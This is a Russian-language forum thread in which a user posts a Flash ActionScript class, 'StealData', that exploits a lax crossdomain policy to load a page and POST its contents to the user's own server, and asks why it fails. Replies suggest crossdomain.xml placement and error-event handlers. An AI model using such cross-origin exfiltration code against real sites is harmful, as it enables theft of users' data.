|
|
|||||
Регистрация: Sep 2017
Сообщений: 1
|
Кроссдоменные запросы
Вопрос глупенький =) Подскажите, что не так делаю
Пытаюсь получить данные с сайта, где плохо настроена кроссдоменная политика Использую данный скрипт package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLLoader; public class StealData extends Sprite { public function StealData() { // Target URL from where the data is to be retrieved var readFrom:String = "https://страница, с которой хочу получить данные"; var readRequest:URLRequest = new URLRequest(readFrom); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = "https://моя страница" var sendRequest:URLRequest = new URLRequest(sendTo); sendRequest.method = URLRequestMethod.POST; var body:String = escape(event.target.data); sendRequest.data = body; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } } Открываю в одном окне firefox хтмльку, в другой страничку, которая мне нужна. Просматриваю запросы в burp suite, скрипт обращается с get запросом к html и к файлу .swf. Больше ничего не происходит. Как я понимаю, результатом работы скрипта должны отсылаться данные со страницы, которая мне нужна, на мою страницу. В чем может быть проблема? Добавлено через 35 минут Компилирую: В html: |
|
|||||
Регистрация: Mar 2007
Сообщений: 319
|
эм. настроить нормально кроссдоменную политику?
в корень всех хостов к которым обращаешься положи crossdomain.xml
__________________
RocketJump |
|
|||||
Цитата:
Цитата:
Результат запроса надо смотреть внутри приложения. Подпишись на SecurityErrorEvent.SECURITY_ERROR и на IOErrorEvent.IO_ERROR и посмотри срабатывают ли эти обработчики
__________________
Ко мне можно и нужно обращаться на ты) |
Часовой пояс GMT +4, время: 10:35. |
|
« Предыдущая тема | Следующая тема » |
|
|